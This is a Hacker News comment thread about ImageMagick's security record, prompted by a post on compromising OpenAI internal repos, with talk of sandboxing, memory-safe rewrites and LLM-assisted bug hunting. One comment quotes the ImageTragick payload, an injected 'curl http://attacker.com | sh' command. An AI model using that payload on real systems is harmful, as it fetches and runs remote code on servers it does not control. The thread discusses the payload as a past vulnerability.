‹ BackHN Continuity

Thread

A heap overflow and SSO misconfiguration to compromise OpenAI internal repos

491 points · 208 comments · Handy-Man

  1. oefrha · · focus · HN ↗
    Unsandboxed ImageMagick is known for being a security nightmare even back when PHP ruled the world (not saying sandboxing is a panacea either, it just requires a different and potentially harder exploit to develop a full chain). Difference is it&#x27;s easier than ever to turn vulnerabilities into full compromises. At some point we&#x27;ll have to replace all parsers with something at least as safe as <a href="https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;wuffs" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;wuffs right? Otherwise ImageMagick and co. will just keep giving.
    1. walrus01 · · focus · HN ↗
      It does make me wonder how much this could be hardened by, to put it in an extremely crude way, taking the current imagemagick code base and throwing a bunch of adversarial SOTA LLMs at it to discover &#x27;bugs&#x27; and exploits of this nature until it can be coaxed into a less dangerous state. Or even using the LLMs to fully port its functionality to a memory safe language. Would take a while to get all the changes approved and then into various distribution imagemagick packages.
      1. sroussey · · focus · HN ↗
        Maybe these big ai labs will uses their own devices to find and fix bugs up and down their stack and contribute that back.
      2. sweetjuly · · focus · HN ↗
        I suspect the latter is much easier and cheaper than the former? You can port a lot of software with cheap (or even local) models if you&#x27;re tenacious whereas finding all the bugs is both very very expensive (if it&#x27;s even possible) and potentially never ending (there&#x27;s always new code and bugs!).
      3. msm_ · · focus · HN ↗
        Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.

        Famously, ImageTragick was just &quot;fill &#x27;url(<a href="https:&#x2F;&#x2F;example.com" rel="nofollow">https:&#x2F;&#x2F;example.com&quot;; curl <a href="http:&#x2F;&#x2F;attacker.com" rel="nofollow">http:&#x2F;&#x2F;attacker.com | sh &quot;)&#x27;&quot;

        1. walrus01 · · focus · HN ↗
          That&#x27;s a very good point. I&#x27;ve had moderately good success with even not very smart LLMs &#x27;fixing&#x27; things that would otherwise accept arbitrary user generated text input, to run things through a thorough sanitization pipeline, the actual code for a sanitizer is not very complex at all.
Open on Hacker News to reply ↗

Unofficial Hacker News client; not affiliated with Y Combinator.